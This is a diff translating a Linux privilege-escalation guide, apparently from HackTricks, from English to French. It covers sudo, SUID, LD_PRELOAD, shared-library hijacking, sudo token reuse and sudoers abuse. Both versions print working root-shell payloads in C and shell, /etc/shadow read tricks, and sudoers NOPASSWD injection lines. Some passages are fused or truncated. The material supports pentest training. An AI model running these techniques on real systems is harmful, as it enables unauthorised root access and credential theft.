/containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 @@ -633,30 +550,29 @@ Upgrade: tcp #Connection: Upgrade #Upgrade: tcp ``` +Maintenant, vous pouvez exécuter des commandes sur le conteneur à partir de cette connexion `socat`. -Now, you can execute commands on the container from this `socat` connection. +### Autres -### Others +Notez que si vous avez des permissions d'écriture sur la socket docker car vous êtes **dans le groupe `docker`**, vous avez [**plusieurs façons d'escalader les privilèges**](interesting-groups-linux-pe/#docker-group). Si l'[**API docker écoute sur un port**, vous pouvez également être en mesure de la compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). - -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Vérifiez **d'autres façons de sortir de docker ou de l'abuser pour escalader les privilèges** dans: {% content-ref url="docker-security/" %} [docker-security](docker-security/) {% endcontent-ref %} -## Containerd (ctr) privilege escalation +## Élévation de privilèges de **Containerd (ctr)** -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges**: {% content-ref url="containerd-ctr-privilege-escalation.md" %} [containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md) {% endcontent-ref %} -## **RunC** privilege escalation +## Élévation de privilèges de **RunC** -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges**: {% content-ref url="runc-privilege-escalation.md" %} [runc-privilege-escalation.md](runc-privilege-escalation.md) @@ -664,14 +580,13 @@ If you find that you can use the **`runc`** command read the following page as * ## **D-Bus** -D-BUS is an **inter-Process Communication (IPC) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system. +D-BUS est un **système de communication inter-processus (IPC)**, fournissant un mécanisme simple mais puissant **permettant aux applications de communiquer entre elles**, de communiquer des informations et de demander des services. D-BUS a été conçu à partir de zéro pour répondre aux besoins d'un système Linux moderne. -As a full-featured IPC and object system, D-BUS has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think **UNIX domain sockets on steroids**. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately integrate better. For example, a Bluetooth daemon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. (From [here](https://www.linuxjournal.com/article/7744)). +En tant que système d'objet et d'IPC complet, D-BUS a plusieurs utilisations prévues. Tout d'abord, D-BUS peut effectuer une IPC d'application de base, permettant à un processus de transférer des données à un autre - pensez aux **sockets de domaine UNIX sur stéroïdes**. Deuxièmement, D-BUS peut faciliter l'envoi d'événements, ou signaux, à travers le système, permettant à différents composants du système de communiquer et finalement de mieux s'intégrer. Par exemple, un démon Bluetooth peut envoyer un signal d'appel entrant que votre lecteur de musique peut intercepter, en baissant le volume jusqu'à la fin de l'appel. Enfin, D-BUS implémente un système d'objet distant, permettant à une application de demander des services et d'invoquer des méthodes à partir d'un objet différent - pensez à CORBA sans les complications. (De [ici](https://www.linuxjournal.com/article/7744)). -D-Bus uses an **allow/deny model**, where each message (method call, signal emission, etc.) can be **allowed or denied** according to the sum of all policy rules which match it. Each rule in the policy should have the `own`, `send_destination` or `receive_sender` attribute set. - -Part of the policy of `/etc/dbus-1/system.d/wpa_supplicant.conf`: +D-Bus utilise un **modèle d'autorisation/refus**, où chaque message (appel de méthode, émission de signal, etc.) peut être **autorisé ou refusé** en fonction de la somme de toutes les règles de politique qui le correspondent. Chaque règle de la politique doit avoir l'attribut `own`, `send_destination` ou `receive_sender` défini. +Partie de la politique de `/etc/dbus-1/system.d/wpa_supplicant.conf`: ```markup @@ -680,24 +595,22 @@ Part of the policy of `/etc/dbus-1/system.d/wpa_supplicant.conf`: ``` +Par conséquent, si une politique permet à votre utilisateur d'**interagir avec le bus** de quelque manière que ce soit, vous pourriez être en mesure de l'exploiter pour escalader les privilèges (peut-être juste pour écouter certains mots de passe ?). -Therefore, if a policy is allowing your user in any way to **interact with the bus**, you could be able to exploit it to escalate privileges (maybe just listing for some passwords?). +Notez qu'une **politique** qui ne **spécifie aucun utilisateur ou groupe** affecte tout le monde (``).\ +Les politiques pour le contexte "default" affectent tout le monde qui n'est pas affecté par d'autres politiques (``).\ -Policies to the context "default" affects everyone not affected by other policies (`/dev/null @@ -765,24 +672,22 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` +### Grand UID -### Big UID +Certaines versions de Linux étaient affectées par un bogue qui permettait aux utilisateurs avec **UID > INT\_MAX** d'escalader les privilèges. Plus d'informations: [ici](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [ici](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [ici](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploitez-le** en utilisant: **`systemd-run -t /bin/bash`** -Some Linux versions were affected by a bug that allows users with **UID > INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +### Groupes -### Groups - -Check if you are a **member of some group** that could grant you root privileges: +Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous accorder des privilèges root: {% content-ref url="interesting-groups-linux-pe/" %} [interesting-groups-linux-pe](interesting-groups-linux-pe/) {% endcontent-ref %} -### Clipboard - -Check if anything interesting is located inside the clipboard (if possible) +### Presse-papiers +Vérifiez si quelque chose d'intéressant est situé dans le presse-papiers (si possible) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -793,39 +698,33 @@ if [ `which xclip 2>/dev/null` ]; then else echo "Not found xsel and xclip" fi ``` - -### Password Policy - +### Politique de mot de passe ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` +### Mots de passe connus -### Known passwords +Si vous **connaissez un mot de passe** de l'environnement, essayez de vous connecter en tant que chaque utilisateur en utilisant le mot de passe. -If you **know any password** of the environment **try to login as each user** using the password. +### Brute-force de su -### Su Brute +Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer les utilisateurs. -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. - -## Writable PATH abuses +## Abus de PATH inscriptible ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +Si vous trouvez que vous pouvez **écrire à l'intérieur de certains dossiers du $PATH**, vous pourriez être en mesure d'escalader les privilèges en **créant une porte dérobée à l'intérieur du dossier inscriptible** avec le nom d'une commande qui va être exécutée par un utilisateur différent (idéalement root) et qui n'est **pas chargée à partir d'un dossier qui est situé avant** votre dossier inscriptible dans $PATH. -### SUDO and SUID - -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +### SUDO et SUID +Vous pourriez être autorisé à exécuter une commande en utilisant sudo ou ils pourraient avoir le bit suid. Vérifiez-le en utilisant: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` - -Some **unexpected commands allow you to read and/or write files or even execute a command.** For example: - +Certains **commandes inattendues vous permettent de lire et/ou écrire des fichiers ou même d'exécuter une commande.** Par exemple: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -834,43 +733,33 @@ sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` - ### NOPASSWD -Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. - +La configuration Sudo peut permettre à un utilisateur d'exécuter une commande avec les privilèges d'un autre utilisateur sans connaître le mot de passe. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` - -In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. - +Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`, il est maintenant trivial d'obtenir un shell en ajoutant une clé ssh dans le répertoire root ou en appelant `sh`. ``` sudo vim -c '!sh' ``` - ### SETENV -This directive allows the user to **set an environment variable** while executing something: - +Cette directive permet à l'utilisateur de **définir une variable d'environnement** tout en exécutant quelque chose: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` - -This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root: - +Cet exemple, basé sur la machine HTB Admirer, était vulnérable à la technique de **piratage PYTHONPATH** pour charger une bibliothèque python arbitraire lors de l'exécution du script en tant que root : ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` +### Contournement de l'exécution Sudo en contournant les chemins -### Sudo execution bypassing paths - -**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ - +**Sautez** pour lire d'autres fichiers ou utilisez des **liens symboliques**. Par exemple, dans le fichier sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -880,57 +769,47 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` - -If a **wildcard** is used (\*), it is even easier: - +Si un **joker** est utilisé (\*), c'est encore plus facile : ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` +**Contremesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) - -### Sudo command/SUID binary without command path - -If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable +### Commande sudo/binaire SUID sans chemin de commande +Si la **permission sudo** est donnée à une seule commande **sans spécifier le chemin**: _hacker10 ALL= (root) less_, vous pouvez l'exploiter en modifiant la variable PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` +Cette technique peut également être utilisée si un binaire **suid** exécute une autre commande sans spécifier le chemin d'accès à celle-ci (vérifiez toujours avec **_strings_** le contenu d'un binaire SUID suspect). -This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**. +[Exemples de charges utiles à exécuter.](payloads-to-execute.md) -[Payload examples to execute.](payloads-to-execute.md) +### Binaire SUID avec chemin d'accès de commande -### SUID binary with command path - -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. - -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +Si le binaire **suid** exécute une autre commande en spécifiant le chemin d'accès, alors vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle. +Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter : ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` - -Then, when you call the suid binary, this function will be executed +Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée. ### LD\_PRELOAD & **LD\_LIBRARY\_PATH** -**LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library. +**LD\_PRELOAD** est une variable d'environnement facultative contenant un ou plusieurs chemins vers des bibliothèques partagées, ou des objets partagés, que le chargeur chargera avant toute autre bibliothèque partagée, y compris la bibliothèque d'exécution C (libc.so). Cela s'appelle le préchargement d'une bibliothèque. -To avoid this mechanism being used as an attack vector for _suid/sgid_ executable binaries, the loader ignores _LD\_PRELOAD_ if _ruid != euid_. For such binaries, only libraries in standard paths that are also _suid/sgid_ will be preloaded. - -If you find inside the output of **`sudo -l`** the sentence: _**env\_keep+=LD\_PRELOAD**_ and you can call some command with sudo, you can escalate privileges. +Pour éviter que ce mécanisme ne soit utilisé comme vecteur d'attaque pour les binaires exécutables _suid/sgid_, le chargeur ignore _LD\_PRELOAD_ si _ruid != euid_. Pour de tels binaires, seules les bibliothèques dans les chemins standard qui sont également _suid/sgid_ seront préchargées. +Si vous trouvez dans la sortie de **`sudo -l`** la phrase : _**env\_keep+=LD\_PRELOAD**_ et que vous pouvez appeler une commande avec sudo, vous pouvez escalader les privilèges. ``` Defaults env_keep += LD_PRELOAD ``` - -Save as **/tmp/pe.c** - +Enregistrez sous **/tmp/pe.c** ```c #include #include @@ -943,24 +822,18 @@ void _init() { system("/bin/bash"); } ``` - -Then **compile it** using: - +Ensuite, **compilez-le** en utilisant: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - -Finally, **escalate privileges** running - +Finalement, **élevez les privilèges** en exécutant ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` - {% hint style="danger" %} -A similar privesc can be abused if the attacker controls the **LD\_LIBRARY\_PATH** env variable because he controls the path where libraries are going to be searched. +Une élévation de privilèges similaire peut être exploitée si l'attaquant contrôle la variable d'environnement **LD\_LIBRARY\_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées. {% endhint %} - ```c #include #include @@ -980,19 +853,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` +### Binaire SUID - Injection de .so -### SUID Binary – .so injection - -If you find some weird binary with **SUID** permissions, you could check if all the **.so** files are **loaded correctly**. To do so you can execute: - +Si vous trouvez un binaire étrange avec des permissions **SUID**, vous pouvez vérifier si tous les fichiers **.so** sont **chargés correctement**. Pour ce faire, vous pouvez exécuter: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` +Par exemple, si vous trouvez quelque chose comme : _pen(“/home/user/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)_ vous pouvez l'exploiter. -For example, if you find something like: _pen(“/home/user/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)_ you can exploit it. - -Create the file _/home/user/.config/libcalc.c_ with the code: - +Créez le fichier _/home/user/.config/libcalc.c_ avec le code : ```c #include #include @@ -1003,17 +872,21 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` - -Compile it using: - +Compilez-le en utilisant: ```bash gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c ``` +## Détournement d'objet partagé -And execute the binary. +### Description -## Shared Object Hijacking +Le détournement d'objet partagé est une technique d'escalade de privilèges qui consiste à remplacer une bibliothèque partagée par une autre contenant du code malveillant. Lorsqu'un programme est exécuté, il recherche les bibliothèques partagées nécessaires pour son exécution. Si une bibliothèque partagée est trouvée dans un répertoire spécifié dans la variable d'environnement `LD_LIBRARY_PATH`, elle sera chargée en priorité. Cette variable peut être modifiée par un utilisateur malveillant pour inclure un répertoire contenant une bibliothèque malveillante. Lorsque le programme est exécuté, la bibliothèque malveillante sera chargée à la place de la bibliothèque légitime, permettant ainsi à l'utilisateur malveillant d'exécuter du code avec les privilèges du programme. +### Exploitation + +Pour exploiter cette vulnérabilité, l'utilisateur malveillant doit disposer d'un accès en écriture au répertoire contenant la bibliothèque partagée légitime. Il doit ensuite créer une bibliothèque malveillante avec le même nom que la bibliothèque légitime et la placer dans le répertoire. Lorsque le programme est exécuté, la bibliothèque malveillante sera chargée à la place de la bibliothèque légitime. + +Pour éviter cette vulnérabilité, il est recommandé de ne pas utiliser la variable d'environnement `LD_LIBRARY_PATH` et de spécifier les bibliothèques partagées nécessaires à l'exécution du programme de manière explicite. ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -1023,9 +896,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` - -Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name: - +Maintenant que nous avons trouvé un binaire SUID chargeant une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom nécessaire: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -1038,20 +909,15 @@ void hijack() { system("/bin/bash -p"); } ``` - -If you get an error such as - +Si vous obtenez une erreur telle que ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` - -that means that the library you have generated need to have a function called `a_function_name`. - ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. +[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose, mais pour les cas où vous ne pouvez **injecter que des arguments** dans une commande. -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +Le projet recueille des fonctions légitimes de binaires Unix qui peuvent être utilisées de manière abusive pour briser les shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, générer des shells liés et inversés, et faciliter les autres tâches de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1064,111 +930,94 @@ The project collects legitimate functions of Unix binaries that can be abused to ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Si vous pouvez accéder à `sudo -l`, vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve comment exploiter une règle sudo. -### Reusing Sudo Tokens +### Réutilisation des jetons Sudo -In the scenario where **you have a shell as a user with sudo privileges** but you don't know the password of the user, you can **wait for him/her to execute some command using `sudo`**. Then, you can **access the token of the session where sudo was used and use it to execute anything as sudo** (privilege escalation). +Dans le scénario où **vous avez un shell en tant qu'utilisateur avec des privilèges sudo** mais vous ne connaissez pas le mot de passe de l'utilisateur, vous pouvez **attendre qu'il/elle exécute une commande en utilisant `sudo`**. Ensuite, vous pouvez **accéder au jeton de la session où sudo a été utilisé et l'utiliser pour exécuter n'importe quoi en tant que sudo** (escalade de privilèges). -Requirements to escalate privileges: +Exigences pour l'escalade des privilèges : -* You already have a shell as user "_sampleuser_" -* "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -* `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -* `gdb` is accessible (you can be able to upload it) +* Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" +* "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose dans les **15 dernières minutes** (par défaut, c'est la durée du jeton sudo qui nous permet d'utiliser `sudo` sans introduire de mot de passe) +* `cat /proc/sys/kernel/yama/ptrace_scope` est 0 +* `gdb` est accessible (vous pouvez être capable de l'uploader) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou modifier de manière permanente `/etc/sysctl.d/10-ptrace.conf` et définir `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject) - -* The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +Si toutes ces exigences sont remplies, **vous pouvez escalader les privilèges en utilisant :** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject) +* La **première exploitation** (`exploit.sh`) créera le binaire `activate_sudo_token` dans _/tmp_. Vous pouvez l'utiliser pour **activer le jeton sudo dans votre session** (vous n'obtiendrez pas automatiquement un shell root, faites `sudo su`) : ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` - -* The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid** - +* Le **deuxième exploit** (`exploit_v2.sh`) créera un shell sh dans _/tmp_ **appartenant à root avec setuid**. ```bash bash exploit_v2.sh /tmp/sh -p ``` - -* The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo** - +* Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend les **jetons sudo éternels et permet à tous les utilisateurs d'utiliser sudo**. ```bash bash exploit_v3.sh sudo su ``` +### /var/run/sudo/ts/\ -### /var/run/sudo/ts/\ - -If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) to **create a sudo token for a user and PID**.\ -For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: - +Si vous avez des **permissions d'écriture** dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) pour **créer un jeton sudo pour un utilisateur et un PID**.\ +Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et que vous avez un shell en tant qu'utilisateur avec le PID 1234, vous pouvez **obtenir des privilèges sudo** sans avoir besoin de connaître le mot de passe en faisant : ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` - ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ -**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. - +Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\ +**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** dans n'importe quel fichier, vous pourrez **escalader les privilèges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` - -If you can write you can abuse this permission - +# Si vous pouvez écrire, vous pouvez abuser de cette permission ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` - -Another way to abuse these permissions: - +Une autre façon d'abuser de ces permissions: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` - ### DOAS -There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` - +Il existe des alternatives au binaire `sudo` telles que `doas` pour OpenBSD, n'oubliez pas de vérifier sa configuration dans `/etc/doas.conf`. ``` permit nopass demo as root cmd vim ``` - ### Sudo Hijacking -If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash\_profile) so when the user executes sudo, your sudo executable is executed. +Si vous savez qu'un **utilisateur se connecte habituellement à une machine et utilise `sudo`** pour escalader les privilèges et que vous avez un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root, puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash\_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté. -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) +Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) -## Shared Library +## Bibliothèque partagée ### ld.so -The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` +Le fichier `/etc/ld.so.conf` indique **où les fichiers de configuration chargés proviennent**. Typiquement, ce fichier contient le chemin suivant: `include /etc/ld.so.conf.d/*.conf` -That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **points to other folders** where **libraries** are going to be **searched** for. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **This means that the system will search for libraries inside `/usr/local/lib`**. +Cela signifie que les fichiers de configuration de `/etc/ld.so.conf.d/*.conf` seront lus. Ces fichiers de configuration **pointent vers d'autres dossiers** où les **bibliothèques** vont être **recherchées**. Par exemple, le contenu de `/etc/ld.so.conf.d/libc.conf` est `/usr/local/lib`. **Cela signifie que le système recherchera des bibliothèques à l'intérieur de `/usr/local/lib`**. -If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\ -Take a look at **how to exploit this misconfiguration** in the following page: +Si pour une raison quelconque **un utilisateur dispose des permissions d'écriture** sur l'un des chemins indiqués: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il peut être en mesure d'escalader les privilèges.\ +Jetez un coup d'œil à **comment exploiter cette mauvaise configuration** dans la page suivante: {% content-ref url="ld.so.conf-example.md" %} [ld.so.conf-example.md](ld.so.conf-example.md) {% endcontent-ref %} ### RPATH - ``` level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" 0x00000001 (NEEDED) Shared library: [libc.so.6] @@ -1179,9 +1028,7 @@ level15@nebula:/home/flag15$ ldd ./flag15 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` - -By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. - +En copiant la librairie dans `/var/tmp/flag15/`, elle sera utilisée par le programme à cet endroit comme spécifié dans la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1190,9 +1037,7 @@ level15@nebula:/home/flag15$ ldd ./flag15 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` - -Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` - +Créez ensuite une bibliothèque malveillante dans `/var/tmp` avec `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`. ```c #include #define SHELL "/bin/sh" @@ -1205,77 +1050,67 @@ int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp execve(file,argv,0); } ``` +## Capacités -## Capabilities - -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Les capacités Linux fournissent à un processus **un sous-ensemble des privilèges root disponibles**. Cela divise efficacement les 